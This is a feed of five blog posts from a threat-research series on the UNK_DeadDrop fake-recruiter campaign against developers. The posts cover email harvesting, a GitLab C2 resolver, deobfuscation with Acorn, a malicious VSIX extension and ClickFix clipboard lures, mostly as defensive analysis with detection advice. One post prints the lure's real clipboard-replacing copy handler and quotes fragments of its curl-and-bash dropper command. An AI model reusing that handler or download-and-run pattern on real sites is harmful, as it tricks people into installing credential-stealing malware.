DEV Community: Ilja Krasnjanski

From Commit Metadata to a Developer Target List

Ilja Krasnjanski — Fri, 06 Nov 2026 00:58:29 +0000

The sender configuration pointed to two SQLite databases. I followed those references to the harvesting code and pools containing 79,698 and 62,667 rows, which together contain 142,365 distinct stored address strings associated with 27,698 repository values (the worker, configuration and read-only count records are summarized in E08), and the harvesting code collected those addresses from public commit metadata for use by the sender tooling.

One harvester fed two address pools

The harvester selects repositories by star range, walks their branches to extract author and committer addresses, then lowercases and trims them before filtering, and visits up to twenty branches per repository in the recorded implementation. Worker configurations partition the search. Scheduler and merge code consolidate results into two master pools. MITRE ATT&CK classifies this reconnaissance as gathering victim email addresses (T1589.002). The SQLite relation is simple:

emails
  email: stored address
  repo: associated repository value

The sender configuration refers to both pools. Different intervals, cooldowns and warm-up settings control how the tools consume them, and the toolkit names the two pools safe and antispam; the database references connect harvesting to message preparation, but no send logs were recovered to establish which addresses received messages.

Figure 1. The address sets are disjoint, while repository values overlap between the two pools.

142,365 distinct address strings

The two databases share some repository values. A SQL union counts each value once across both pools. Read-only aggregate queries on 23 October found:

79,698 rows in the safe pool;
62,667 rows in the antispam pool;
an exact address overlap of zero between them;
142,365 distinct address strings across both;
27,698 distinct repository values across both.

The queries check address overlap and count the combined repository values:

-- Address overlap
SELECT count(*)
FROM main.emails AS s
JOIN other.emails AS a ON s.email = a.email;

-- Combined repository values
SELECT count(*) FROM (
  SELECT repo FROM main.emails
  UNION
  SELECT repo FROM other.emails
);

In this comparison, the stored address sets are disjoint but the repository sets overlap. Adding the two repository counts would therefore overcount. The queries compare stored strings without additional address canonicalization or identity resolution, so aliases and multiple addresses belonging to one person remain separate entries.

The sender code configures mail.privateemail.com through variables carrying a ZOHO prefix, which is a toolkit setting, not proof that this campaign used the service, and retained message headers show Mailgun VERP envelope behavior for the D2S and Category Labs messages, while the Nodit message used its own domain in the envelope. A forwarding service obscured the original sending IP, so its relay address is not attributed to the operators, and the indicator reference records the observed sender and tracking-domain details, with the limits of each observation.

Star ranges divided the repository search

The three worker configurations each query a different band of repository star counts: stars:101..137, stars:138..174 and stars:175..210. None specifies a language, topic, keyword or organization. The harvester therefore searches public repositories across those bands instead of selecting a particular kind of developer.

Of the 27,698 repository values, 595 (2.1 percent) have names suggesting 3D or graphics work, such as Blender, Unity, Unreal, WebGL, shaders or rendering. That count comes from repository names alone. The 3dscenebox[.]online lure in Part 1 initially looked like a campaign against 3D artists, but the harvester shows no separate sourcing channel for that group, and the evidence fits a new cover story sent to the same broad pool.

Three repositories carried delivery kits

I also examined the accounts supplying the recruitment material, separate from the repositories harvested for addresses; those five accounts active in July held 172 public repositories. I reviewed cached metadata and file trees, then classified repositories by language, project type and apparent role. Twelve repositories had directly evidenced operational roles:

Three repositories carried delivery kits: two weaponised project copies in Part 2 and the ECHOES branch in Part 9.
Three were clean take-home assignments whose weaponised versions were delivered separately.
Five were lure funnels.
One held the harvesting and sending toolkit.

Seven others were forks of third-party projects, including two AI coding tools, while the catalogue labels 152 repositories as credibility props based on their names, file layouts and creation patterns and separately flags one more prop for an encrypted .env, bringing the total to 172.

The credibility props include NFT marketplaces, staking programs, dice and coinflip games, trading bots, pump.fun clones and small "GPT" tools, and they use the Rust, TypeScript and Python stack expected of a Solana or EVM contractor. Together, the 153 props make up roughly nine in ten repositories, giving each account the appearance of an active engineer's portfolio.

The creation dates show how some of the accounts were built. On the flagship account, 67 of 90 repositories appeared within five days in April 2024, while a second persona account had been dormant since 2017, then received 68 repositories between 27 June and 1 July 2025. Three had exact byte-size matches under new names on the flagship account.

pridnet forked five real trading and LLM projects in March 2026, went quiet for 68 days, then published the weaponised assessment repository. Lyracartoon held only its two weaponised repositories. A byte-level sweep using two methods found operator indicators only in the known weaponised copies.

The other signature hits were false positives I checked by reading the files: a benign clipboard helper copied the text it displayed, and a marker matched inside the word bogus in a fork of Aider. Seven install hooks belonged to ordinary build tooling. The credibility repositories carried no payload, but their apparent activity could make a recruiter seem trustworthy.

A public contract repo directed questions to a private contact

Five of the repositories invert the recruitment model, so that the developer is drawn in rather than written to, and the most visible, a "pump.fun-compatible" Solana contract with 128 stars and about fifty forks, implements initialization and liquidity provision. Its fund-moving remove_liquidity handler, however, has been reduced to a stub:

pub fn remove_liquidity(/* ... */) -> Result<()> {
    // If you want to Interact with CPI, then plz contact to me.
    Ok(())
}

The repository's pull requests show the pool-removal and migration code being written, then withheld from the public version, which makes the missing code deliberate rather than unfinished. The README, contribution guide, SECURITY.md and API documentation direct questions to the same Telegram contact listed in the operators' portfolio material.

An issue from a user who hit the missing module shows the stub at work. Eight inspected forks contain the same 942-byte stub, and none publishes a working version, which suggests the full code was offered privately to people who asked. The public repository has registry-only dependencies, no install hooks, no editor configuration and no hard-coded operator key. The contents of a private version remain unknown. It might add authority over deployed pools, include a developer-machine payload, or be ordinary paid contract work. The evidence cannot distinguish among these possibilities. Obtaining it would require engaging the operators.

The public repository names a real 2024 launchpad as its homepage, and a second operator repository describes its Solidity contract as written for the same site. The project had its own public team, on-chain program and deployer authorities. None matches a wallet in the operator set. The link supports contract work for the launchpad, not ownership of it. The domain's later re-registration served an unrelated site.

No message logs or endpoint records were recovered

The harvester collected addresses for messages; the public contract projects drew developers toward private conversations. Sender configuration connects the databases to message preparation, but counting people contacted or compromised would require send logs and endpoint records, which were not recovered. The repository total also counts stored values. I did not reverify each repository's existence or ownership.

The administration frontend contains mail and wallet views, but its connection to these particular SQLite pools remains unverified.

Originally published on the UNK_DeadDrop research site.

References

Campaign paper: UNK_DeadDrop: An Artifact-Based Study of Recruitment Malware (PDF)
Scanner paper: Static AST-Based Triage of Socially-Engineered Developer Lures (PDF)
Scanner: unk-scanner on GitHub, with rules and inert fixtures
Series: all fourteen parts on the UNK_DeadDrop research site

Following the GitLab Dead Drop: Configuration Changes and C2 History

Ilja Krasnjanski — Fri, 06 Nov 2026 00:57:49 +0000

On 13 July 2026, a GitLab commit replaced a list of server names with api.cklomino[.]ink and api.dsfmot[.]xyz (the retained repository bundle and file history are documented in E07). The file held configuration, not a payload. The client reads its destination from this resource; changing the server list therefore changes where an unchanged payload can connect. The payload hash stays the same. The configuration history records the changing destinations, and certificate and panel observations connect one of those domains to a historical origin address, while the historical indicator reference lists every recorded resolver value, the separate unreferenced file, related lure hosts and the limits on each IP association.

The later July installer family used a separate mechanism; its upd_m, upd_w, upda_m and upda_w droppers embedded api.aazdias[.]ink as the primary store and api.fallaazdis[.]ink as the fallback, and those values came from the recovered dropper configuration, not from the GitLab config.json history. The origin association to 207.241.172[.]222 came from dated certificate and passive-scan observations, not a direct fetch from that address.

The payload fetches `config.json` from GitLab

The payload references this resource:

gitlab[.]com/drop-indexing/tasks/-/raw/main/config.json

The repository also contains a separate config-alt.json file with another pair of destination strings. Neither retained payload references it. Client use of this second file remains unknown.

The recovered JavaScript has its own hard-coded fallback, api.domatisc[.]ink, and a resolver function that requests the raw GitLab config.json resource, though no retained endpoint log confirms that a victim fetched either file. This code pattern is relevant to MITRE ATT&CK's dead drop resolver technique (T1102.001). A payload with the same hash can receive different destinations depending on when it fetches this resource.

Figure 1. The referenced configuration changed in May and July. A separate file was added in June, but no retained payload references it.

Five May revisions, then a new server pair in July

The primary file has five recorded revisions on 26 May, beginning with an initial set of domatisc[.]ink, coslyintra[.]online and valorecuiting[.]online, after which subsequent edits remove and restore an entry, introduce api. prefixes, and finally leave a set of two hosts. The recorded states after that, in order, are:

26 May 2026, final listed revision of config.json: api.domatisc[.]ink and api.coslyintra[.]online.
1 June 2026, separate file config-alt.json: api.onoplainai[.]ink and api.migadyn[.]info. Its use by the recovered client is unestablished.
13 July 2026, about 07:10 UTC, config.json: api.cklomino[.]ink and api.dsfmot[.]xyz.

Commit c3c71d65 replaces the primary destination set left by the May revisions, and the retained history contains six commits to config.json and one to config-alt.json (the latter is a separately recorded resource, not an evidenced client fallback).

Client refresh behavior determines when a configuration change takes effect. A client that fetches the file again may receive a new address, while one using a cached destination may continue trying the old server, and the retained history contains no client execution trace to resolve that behavior. Blocking a destination can interrupt traffic, while a client that consults this configuration resource may receive another address, so connection records are needed to identify the destination each client used.

A July hostname linked to a reported origin

I compared the resolver hostnames with historical scan records to investigate the services behind them, and July scan notes associate 207.241.172[.]222 with C2 and administration services, and they record a certificate naming api.cklomino[.]ink and a third-party bare-IP scan that returned a Subtensor sign-in panel. The raw scan responses and certificate were not retained. The panel HTML and JavaScript available for inspection were retrieved from api.domatisc[.]ink, so they cannot independently reproduce the reported response from the bare IP.

The panel adds an application-level association to the certificate evidence, while further relationships came from certificate facets, passive DNS and reverse-DNS fields. These observations came from research-service records. The origin analysis did not directly scan the server or log in. E20 and E21 record the source and limits of those historical associations.

The July observations associated 207.241.172[.]222 with C2 and administration, 170.205.31[.]182 with lure hosting, and 23.137.105[.]75 with earlier C2 infrastructure. These roles describe the recorded periods. Current availability and ownership were not checked.

The SSH host-key search found no new address

The saved service enumeration listed SSH, HTTP and HTTPS. Its SSH profile included a host key, banner and handshake information, but these had different value as search pivots, as the common OpenSSH banner and handshake fingerprint matched broad populations of hosts, while the more selective host key returned only the address already known. The search found no backup address. Hosts absent from that dataset remain outside its coverage. The reported panel response did not enumerate every tenant at the address, and other services may have shared the address, so an IP block could affect unrelated traffic.

The 23 July certificates added hostnames

The 23 July certificate enumeration added names that were absent from the inspected payloads: a dashboard host on the cklomino base, dev and hr mail subdomains on lure domains, and a hiring host alongside a career-themed API. The indicator reference records the names and first-issuance dates. These records identify certificate names, not proof that each host served a malicious application.

The certificates did not provide a cross-domain link. Subject alternative names stayed within individual registered bases, with combinations of the base, wildcards and subdomains such as api., www. and email., and no retained enumeration entry combined two bases in one certificate. Wildcards also mean that a new subdomain can appear without a new certificate-log entry.

Timing offered more context. Certificates for four bases were first issued on 13 July, the date of the resolver's change to api.cklomino[.]ink and api.dsfmot[.]xyz. On 23 July, aazdias[.]ink and fallaazdis[.]ink were registered about six minutes apart through the same registrar and privacy service, with the same Cloudflare nameserver pair. Their primary-and-fallback naming repeats the earlier aavzx[.]ink and fallbaav[.]ink arrangement, and the current stores, a new dashboard host and several older lure domains also received certificates that day.

Shared panels and certificate automation can produce this cadence across unrelated customers, so I used the timing to check code and configuration relationships, rather than to assign hosts to the cluster. These registration and enumeration observations come from restricted 23 July records and are discussed in the paper, but are not independently reproduced in the public evidence exhibits.

A sweep of two /23 ranges belonging to the hosting provider covered about a thousand addresses; 291 exposed services. The provider used ordinary shared hosting. About twenty unrelated tenants ran services on port 3000, while the free scan dataset returned no results for the agent's port 5173 in either range, and those observations make port-based hunting a poor discriminator: port 3000 was common among unrelated tenants, and the dataset did not cover the agent's port. The results come from research services and have not been refreshed since 24 July.

Part 7 follows the target-acquisition tooling behind the two SQLite pools.

Originally published on the UNK_DeadDrop research site.

References

Campaign paper: UNK_DeadDrop: An Artifact-Based Study of Recruitment Malware (PDF)
Scanner paper: Static AST-Based Triage of Socially-Engineered Developer Lures (PDF)
Scanner: unk-scanner on GitHub, with rules and inert fixtures
Series: all fourteen parts on the UNK_DeadDrop research site

Parsing Without Executing: JavaScript Deobfuscation with Acorn

Ilja Krasnjanski — Mon, 02 Nov 2026 02:17:36 +0000

The VSIX loader assembled one AES key from sixteen fragments: nine decoder calls and seven literals. Recovering it required mapping wrapper functions and a rotated string table, and my first regex missed a wrapper that declared an intermediate value before returning, while five plausible rotations then failed checks across the call sites.

All three encrypted payloads passed GCM authentication under the reconstructed key. The recovered components and authentication procedure are recorded in Exhibit E04. Proofpoint's report also documents the key and Windows architecture.

Wrapper calls hide the key's construction

The key assignment combines literals with calls to several wrapper functions, and a wrapper may change the index, reorder its arguments or add an offset before invoking the underlying decoder, so each call must be traced through its wrapper. The July analysis identified seven wrappers in the bootstrap and five in extension.js. Each needed three fields mapped:

Which argument supplies the string-table index?
Which argument supplies the decoder key?
What offset is applied before the underlying call?

A regex that expects every wrapper to return a decoder call immediately can miss a function that first declares an intermediate value, while Acorn represents both statements in the syntax tree. It does not solve the decoder automatically, but it provides a more reliable structure to inspect than text patterns.

One wrapper assigns a temporary value

This synthetic example parses a wrapper containing a declaration before its return statement:

import { parse } from 'acorn';

const source = `
function wrapper(index, key) {
  const adjusted = index - 17;
  return decode(adjusted, key);
}
`;

const ast = parse(source, {
  ecmaVersion: 2022,
  sourceType: 'script',
  locations: true
});

const fn = ast.body[0];
const returned = fn.body.body.find(
  node => node.type === 'ReturnStatement'
);

console.log(fn.type, returned.argument.type);
// FunctionDeclaration CallExpression

decode is undefined. But parsing does not require it to exist; Acorn reads the program as a string and returns its syntax tree. Parsing leaves the declarations and expressions unevaluated. I reconstructed the wrappers' index and key transformations from their syntax trees, then implemented those transformations separately. The extension was never imported or executed.

Figure 1. Wrapper mapping and string-table recovery supply the key fragments; GCM authentication checks the reconstructed key against the payloads.

The string array had been rotated, so a valid-looking index could point to the wrong encoded element until the array order was resolved, and searching from one expected crypt anchor yielded five plausible rotations. Comparing each rotation against all resolved call sites narrowed the candidates.

The recorded offsets were 391 for the extension and 261 for the bootstrap. The selected candidate produced printable decodes at 15 of 15 tested sites. The runner-up produced 3 of 15. That gap was useful. But printability remained a heuristic; the next checks were whether each string fit its call context and whether the key fragments could be reconstructed in source order. The encrypted payloads would provide a stronger validation.

Putting the sixteen fragments back in order

The key expression combined nine decoder results with seven literal fragments. Recovering their values was only half the work. The fragments also had to be concatenated in the original order, including values nested inside parenthesized additions, and a small bounded evaluator concatenated string literals and already-decoded values in source order. The recovered key could then be checked against the encrypted payloads.

Authenticated decryption verifies all three payloads

The loader specified the encrypted blob layout directly:

bytes  0–11    initialization vector
bytes 12–27    authentication tag
bytes 28–end   ciphertext

My initial openssl enc attempt failed: that command lacked the required GCM authentication check, so I switched to Node's cryptographic library to verify the stored tag. The failure was in the chosen tool.

With the corrected operation, all three payloads passed authentication: detect_malware.py (60,054 bytes), the browser-related decryption component; windows-agent-node.js (56,093 bytes), the Windows collection agent; and windows-js-pipeline.js (32,324 bytes), the collection and elevation coordinator.

All three payloads decrypted to readable, commented source. Authentication tied each plaintext to its encrypted input under the recovered parameters. Execution and collection outcomes require endpoint evidence.

The scanner uses the checksum loop to find the rotation

The manual analysis selected a rotation by comparing printable output across call sites, while the later scanner uses another feature of the same obfuscation: a loop that decodes numeric-looking strings, combines them with parseInt and shifts the array until the checksum equals an embedded constant.

The evaluated engine identifies the decoder variant from its syntax, reimplements decoding and evaluates that checksum for candidate rotations. For this extension the variant is RC4 behind a shuffled base64 alphabet, with an index offset of 333, and it reaches rotation 391 and decodes 2,139 of 2,140 call sites, while for the bootstrap it reaches rotation 261 and decodes 15 of 17. These agree with the manually established rotations without executing the extension.

Recovered strings become available to other rules, including calls whose module names are hidden behind decoders, and if the checksum cannot be solved, a printable-consensus heuristic may help. Otherwise the array remains unresolved.

A later test replaced push(shift()) rotation with splice. The evaluated engine missed the loop and incorrectly accepted rotation zero, and a hardened engine now recognizes more rotation steps and accepts stored order only when the decoded call sites read as text. Part 14 covers the defect and subsequent tests.

The scanner does not assemble the AES key or decrypt the payloads. Authenticated decryption remains a separate check on the recovered fragments, and partial string recovery must be read alongside the unresolved call sites.

The scanner paper describes the evaluated implementation, including its per-process restrictions, resource limits and AST-only TypeScript/JSX fallback, and the command-line output records which isolation controls were applied (Linux network-namespace isolation depends on host support). Installation and current release instructions are maintained in the companion repository, with packages on npm and PyPI.

The larger registry evaluation is in Part 13. It found few error-level alerts and missed most generic package malware. A completed scan is a pattern check, not a safety verdict.

detect_malware.py
4c3fdd86a59d52a0e29f472666cbf9472b6fd83c38ef2a4b547f31c72b8ee87e

windows-agent-node.js
e5b7d6411d0c95da047185d94fca98d454b73df2e7f46f2753e212af2ca45da5

windows-js-pipeline.js
bf820623e8deaa37092650c7fae594e56b8d81c27b541419006cca2d0536353b

Originally published on the UNK_DeadDrop research site.

References

Scanner paper: Static AST-Based Triage of Socially-Engineered Developer Lures (PDF)
Campaign paper: UNK_DeadDrop: An Artifact-Based Study of Recruitment Malware (PDF)
Scanner: unk-scanner on GitHub, with rules and inert fixtures
Series: all fourteen parts on the UNK_DeadDrop research site

This article was prepared with AI assistance; the research and evidence are the author's.

How a Malicious VSIX Uses the Signed Editor Runtime

Ilja Krasnjanski — Mon, 02 Nov 2026 02:17:27 +0000

The extension calls itself Google Update Support and claims to secure and update the development environment, but inside the 17.6 MB package are native agents for macOS and Linux, encrypted Windows components, and code that selects deployment settings. On Windows, one path uses the editor's Electron executable to interpret attacker-controlled JavaScript. The environment variable ELECTRON_RUN_AS_NODE=1 enables that mode.

This is the repository-based branch: a project task leads to the extension installer, which supplies the collection pipeline. Part 1's clipboard lure is a separate entry point. Related Windows elevation code appears in both branches.

The July repository review identified five weaponised copies:

github[.]com/Lyracartoon/predict-together
github[.]com/pridnet/dscufo-assessment-fe
gitlab[.]com/pulsynk/rekt-db
gitlab[.]com/stefan[.]kano/forge-4626-invariants
gitlab[.]com/predicttogether/forge-4626-invariants

A sixth copy, gitlab[.]com/lautaro19/rekt-db, contained matching payload markers. The evidence supports likely operator control, not confirmed ownership. GitLab reportedly removed pulsynk-org/rekt-db; pulsynk/rekt-db is a different repository.

The historical indicator reference records the dated observations, and the artifact reference lists hashes for selected task and settings files. Current availability has not been checked.

Proofpoint's UNK_DeadDrop analysis documents the VSIX route and Windows architecture also present in this package, while Jamf Threat Labs has separately documented threat actors abusing Visual Studio Code, and the editor's own task documentation and Electron's environment-variable reference describe the two legitimate features this chain repurposes.

A `folderOpen` task points to the installer

The repository task uses runOn: folderOpen and points into an ordinary-looking project directory. Editor trust and task permissions gate execution.

After installation, the extension is no longer confined to the project; it declares startup activation, while surrounding scripts clean up the task and staging files, and deleting the clone leaves the installed extension outside that cleanup.

Figure 1. The repository installs an extension whose Windows branch invokes the editor's Electron runtime in Node mode.

The extension manifest contains these fields:

{
  "name": "google-update-support",
  "displayName": "Google Update Support",
  "publisher": "google-dev-tools",
  "version": "1.0.0",
  "main": "./extension.js",
  "activationEvents": ["onStartupFinished"]
}

The installed identifier is google-dev-tools.google-update-support. These names are part of the masquerade; they establish neither Google authorship nor a trusted signature. The VSIX collected on 22 July 2026 is 17,647,582 bytes. Exhibit E03 records the package, nested archive and native-agent hashes:

SHA-256
52886aab179f26421678ff23af1b0fabf0a17ffbb534369cdbbac8008cbed8e7

The onStartupFinished declaration gives the extension an opportunity to activate after the original workspace is gone. Payload startup still depends on the platform-specific code path.

The extension exposes its settings under the googleUpdateSupport namespace:

googleUpdateSupport.agentZipRelativePath
googleUpdateSupport.windowsActivationMode
googleUpdateSupport.companyWalletServerUrl
googleUpdateSupport.companyWalletClientId
googleUpdateSupport.companyWalletAgentToken

The deployment reads server and client values from configuration, so the same VSIX can be reused with different workspace settings. Preserve the package and project configuration together: a VSIX hash identifies the archive but may not reveal where a particular installation was configured to send data.

The nested agent archive contains Go binaries for macOS arm64, macOS amd64 and Linux amd64, and their hashes match samples identified in the case's comparison with prior reporting, but the Windows branch does not depend on dropping those binaries. The encrypted Windows modules and their recovered hashes are documented in E04.

Three encrypted scripts inside the VSIX

Static deobfuscation recovered three readable components from the package:

windows-js-pipeline.js coordinates collection, elevation, upload and cleanup.
windows-agent-node.js implements the JavaScript collection agent.
detect_malware.py handles browser-related key and credential decryption.

The Node source describes a Windows route that does not depend on a Go executable. A detector limited to native-agent hashes would miss this path. The Python component contains DPAPI and browser elevation-service logic, including App-Bound Encryption handling, while the coordinator attempts to obtain the privileges and execution context this stage needs, and the Acorn analysis describes their recovery through static deobfuscation and authenticated decryption.

The recovered builder constructs a PowerShell script that requests an elevated COM object associated with CMSTPLUA and the ICMLuaUtil interface. The identifiers are assembled from numeric fields, so searching for a literal GUID is less useful than tracing how the script builds and calls them, and it then creates a delegate at runtime to dispatch the shell-execution method.

Similar builder code appears in the ClickFix stage-three script, linking the implementations across the two delivery routes. E19 records the relevant source spans.

The failure paths show that elevation may not succeed. The VSIX pipeline can fall back to RunAs, which may display a consent prompt, while ClickFix retries and uses a sentinel to check for completion, and success depends on Windows version, user privileges, policy and process context. These paths were analyzed statically. Their runtime outcomes were not reproduced.

The extension launches the editor binary as Node

The source sets ELECTRON_RUN_AS_NODE and invokes the editor executable with an agent-script path. process.execPath supplies the executable location from inside the extension. The code uses the editor binary as a Node interpreter for collection code supplied by the chain, rather than its normal startup code, and MITRE ATT&CK tracks this behavior as Electron Applications (T1218.015).

A process name or publisher check is incomplete here. A legitimate signature authenticates the editor executable, not every script passed to it. On an endpoint, investigate the transition: the editor launching an elevation helper, then an unexpectedly elevated interpreter with a collection-script argument, then access to browser or wallet data. Decryption remains a separate condition. Elevation alone does not prove that a password was recovered.

Recruitment email in the clean repository

The weaponised predict-together copy has a clean twin with its own recruitment material. An email template stored beside the clean version shows that the operators also addressed designers, project managers, founders and builders, and it invites them to review an open-source market-analysis platform in Cursor.

The template describes four steps, taking "about 30 minutes":

Clone the repository.
Open it in Cursor and analyze it with AI.
Write a few prompts.
Send the prompts back.

The message says, "No coding needed," and offers payment, a Cursor Ultra license or a place on the team for useful feedback. Its repository link is a placeholder. The copy sent to any particular recipient remains unknown.

The public repository is a working FastAPI and React application, with seeded demo users and green test and coverage badges, and I reviewed its full tree, including dot-directories, and found no code that would run on its own.

The review found no .vscode/tasks.json, .cursor/ rules, mcp.json, .devcontainer/ hooks or workflows; the Python and npm dependencies came from ordinary package registries and had no install scripts, and the documentation showed standard install, test and run commands.

The repository's .gitignore also excludes .vscode/. The copy with the folder-open task belongs to a different account. The template presents the clean repository for inspection, while the weaponised copy is a separate artifact.

The email targets people who are not being asked to write code. A developer doing a coding exercise may inspect the project and notice an unusual task or install hook, while someone told that no coding is needed may instead open the repository in an AI editor and let its agent act without reading the project. The retained weaponised copy used a folder-open task.

Other editor-based routes are possible, including devcontainer hooks, workspace rules or instructions, an MCP server supplied by the workspace, and a dependency that runs when the agent is asked to start the project. None of those appeared in the copies reviewed here.

The review covered the public repository and the retained weaponised copy, not a message received by a target; the exact repository and configuration sent to any individual therefore remain unknown. The public reports cited in this series describe developer-directed assessments. They do not describe this non-coder invitation.

Before opening an unsolicited project in an AI editor:

Use a disposable machine.
Turn off automatic task execution and agent auto-run.
Disable workspace-supplied MCP configuration.
Keep wallet keys, SSH keys, browser profiles and .env secrets off it.

Inspect the extension path and process arguments

Repository-only review can miss the installed extension. A hunt limited to native binaries can miss the JavaScript Windows branch. Preserve task definitions, editor and agent configuration directories, workspace settings, extension metadata, script arguments, process ancestry and any resulting persistence. The extension identifier and package hash provide exact selectors. The editor-to-interpreter transition gives responders a behavior to investigate when names or builds change.

The companion repository has a YARA rule for the recovered VSIX manifest. It must scan extracted archive members.

The companion scanner covers JavaScript. Its electron-run-as-node rule reports the recovered pipeline at error level because that file writes a PowerShell script, sets $env:ELECTRON_RUN_AS_NODE and launches it with a hidden window. The scanner also reports the extension's obfuscated string array as recovered.

Setting the variable alone is not enough to raise an error. In a benchmark of 3,000 popular packages and extensions, TypeScript's language server, SSH proxy shims and local helper servers launched the editor binary as Node in sixteen places. None hid the launch.

The repository has no process or file-event rules because authentic endpoint logs were not retained for replay. The manifest rule identifies package metadata. Confirming execution and subsequent collection requires endpoint records.

Originally published on the UNK_DeadDrop research site.

References

Campaign paper: UNK_DeadDrop: An Artifact-Based Study of Recruitment Malware (PDF)
Scanner paper: Static AST-Based Triage of Socially-Engineered Developer Lures (PDF)
Scanner: unk-scanner on GitHub, with rules and inert fixtures
Series: all fourteen parts on the UNK_DeadDrop research site

Anatomy of a Developer Lure: ClickFix Clipboard Manipulation

Ilja Krasnjanski — Mon, 02 Nov 2026 02:17:16 +0000

The recruitment site asks the candidate to copy a verification command, run it in a terminal, and paste back the result. The page promises a VERIFY- code. But when the candidate presses copy, the page replaces the selected text with a command that also attempts to install a payload.

That is the ClickFix technique: a web page persuades someone to paste and run a command, shifting execution from the browser to the user's terminal. Three phishing messages received in June and July 2026 led me to several delivery branches, collection payloads, a GitLab configuration resolver and exposed administration software, and in the browser branch, the verification step conceals the install attempt.

Proofpoint tracks the cluster as UNK_DeadDrop. Its reporting, together with Denys Vitali's earlier investigation, provides context for the editor-based branch in the next post, while Unit 42's research on fake-recruiter campaigns delivering BeaverTail and InvisibleFerret describes the wider pattern of job-themed lures aimed at developers. The W3C Clipboard API specification defines the copy event that allows a page to replace selected text.

The command shown to candidates

The recovered lures use recruitment and technical-assessment themes. Their verification flow asks the candidate to copy a command, enter or use an access phrase, and return the terminal's output, and the command does print the promised verification result while also attempting to install a payload. That makes the exchange more convincing than a page that asks someone to run an unexplained command: the page and terminal appear to agree. The candidate gets the expected output to submit.

The captured pages fall into two frontend groups. Lighter bundles show an access-key or anti-spam panel, while larger ones load TensorFlow.js face-detection models and activate the camera for a more elaborate device-check presentation, and Three.js appears only in a separate design-challenge lure. Across these interfaces, the clipboard substitution is the behavior that changes the command.

The retained lure material includes builds associated with joincategory[.]xyz and d2saitrade[.]ink, plus heavier captures from dscufo[.]xyz and nemesistrade[.]work, and later URLScan response-body recovery found the same kit on discufo[.]xyz, trixauvex[.]org, nodit[.]org, surgecareer[.]ink, calendly[.]foxtopia[.]xyz and calendly[.]optixauvex[.]us.

I added these captures to the known lure set. Visitor activity remains unknown. The historical indicator reference lists their URLs and evidence class. The artifact reference records the response hashes.

The same clipboard kit appeared under later covers. July captures preserve an Almanac-themed page at validator.aavzx[.]ink and a 3D box-preview lure at 3dscenebox[.]online; the latter's check_3d_m and check_3d_w files matched the upd_m and upd_w droppers from the api.aazdias[.]ink store by SHA-256. The captures date the pages and identify their droppers. No visitor execution records accompanied them.

Figure 1. The copied command combines the verification output with an installation attempt.

Copying changes the terminal command

The copy handler served by d2saitrade[.]ink replaces the clipboard contents in a few lines. Only line breaks have been added to this excerpt:

c.addEventListener(`copy`, e => {
  if (!(window.getSelection()?.toString() ?? ``).trim()) return;
  let t = e.target;
  !(t instanceof Node) || !c.contains(t) || (
    e.preventDefault(),
    e.clipboardData?.setData(`text/plain`, R(b.nonce, b.phrase, y)),
    x(`cmdline_copied`, { os: y, step: `verify` })
  );
});

preventDefault() stops the browser's normal copy operation. setData() places the result of R() on the clipboard: a command built for the detected operating system (y) and verification nonce, and the handler then reports a cmdline_copied event to the site.

Although R() receives the phrase entered by the candidate, that value does not appear in the command text in this bundle, and the handler also runs only when text inside the command box is selected. I followed R() into the installation logic. A clipboard API alone is a weak signal because legitimate applications use one too; the evidence of deception is the mismatch between the displayed verification text and the generated command.

The generated command differs by platform. On macOS and Linux, it starts a background download-and-execution sequence, then prints a VERIFY- result, while on Windows, the hidden installation logic is prepended to the prompt sequence, so the candidate sees an access-key prompt before the result. The recorded Windows branch explicitly enables the hidden installer. On Unix-like systems, backgrounding lets the visible verification wrapper finish while installation proceeds separately. Both wrappers are documented in the clipboard-lure analysis.

The verification output makes the copied command look successful even if the installation attempt fails. Checking for the expected prefix misses that second behavior. The nonce and phrase may distinguish verification exchanges. The backend's acceptance logic was unavailable.

The installer uses the lure site's origin

The URL builder takes its first-stage download location from window.location.origin. Whichever site serves the lure also supplies the download origin. The recorded names include:

verify_m          Unix-like verification dropper
verify_w          Windows verification dropper
check_bot_m/w     Anti-bot variants
check_3d_m/w      Design-challenge variants

This design makes the frontend portable across lure domains: changing the page's origin also changes the first-stage retrieval location, without a hostname literal in the bundle, and searching only for known C2 domains will miss that URL. Later collection code obtains its destination through a separate mechanism, including the GitLab resolver examined in Part 6, so the lure host and collection destination belong at different points in the chain.

The bundle references /device-check, /verify, /complete and /track-activity, plus challenge-specific routes, and the cmdline_copied event shows that the client is designed to report when someone copies the command. The telemetry records a copy action before any terminal execution. Neither that event nor the verification output confirms installation. No backend infection log was recovered.

Signals in the page's JavaScript

The useful browser-side signal is the combination of a verification interface, a copy handler and an argument that leads to installation logic, while the word “verify,” a clipboard API or a download helper alone is weak evidence.

Endpoint hunting should follow the command's actual destination. Here the candidate pastes into a terminal, so a rule requiring an editor-to-shell process chain would miss the intended behavior. Follow the copied command, its child processes, downloaded scripts, persistence and outbound connections, and for static triage, compare the displayed text with the value passed to the clipboard, then trace the download URL back through the command builder. That exposes the substitution without executing the bundle.

Because the first-stage download comes from the lure page's own origin, one concrete hunt follows directly from the code: look for a shell or PowerShell download shortly after a terminal paste, from a host the browser had just been visiting.

The technical paper also records that some copied strings end in a trailing newline. Depending on terminal behavior, the command may run as soon as it is pasted. This was not tested across terminals.

On the static side, a later scan of a held lure bundle found two clipboard-write sites in a sample of 73,545 bytes, with the following SHA-256:

5ee915bb8d0363bd92176cc595d7425fd7e7830508d8824d90b5285a3d2b11bd

The copied value in this bundle is generated when someone clicks, and the builder receives the visitor's operating system along with a nonce and phrase, so a scanner that reads only literal string arguments sees a clipboard call with an unresolved value.

Version 0.2.0 of the companion scanner follows that value through the command builder, platform helpers and process-detaching wrapper. It extracts their text without evaluating the code. In this bundle, the clickfix-clipboard-command rule reports an error and identifies the perl -MPOSIX double-fork wrapper, the verification wording and the copy handler that replaces the selected text.

The same rule follows the later Scene Box lure's generic copyText(text) helper to the curl -ks … && nohup bash command supplied by its callers. All three retained lure generations reach error level.

Across 3,000 popular npm packages and Open VSX extensions, the rule raised no errors and one warning for an installer's "copy command" button. To verify the visual deception, compare the rendered instruction with the command placed on the clipboard in a browser.

The repository branch uses a different entry point: a package calling itself Google Update Support installs collection components through the code editor.

Originally published on the UNK_DeadDrop research site.

References

Campaign paper: UNK_DeadDrop: An Artifact-Based Study of Recruitment Malware (PDF)
Scanner paper: Static AST-Based Triage of Socially-Engineered Developer Lures (PDF)
Scanner: unk-scanner on GitHub, with rules and inert fixtures
Series: all fourteen parts on the UNK_DeadDrop research site

This article was prepared with AI assistance; the research and evidence are the author's.

DEV Community: Ilja Krasnjanski

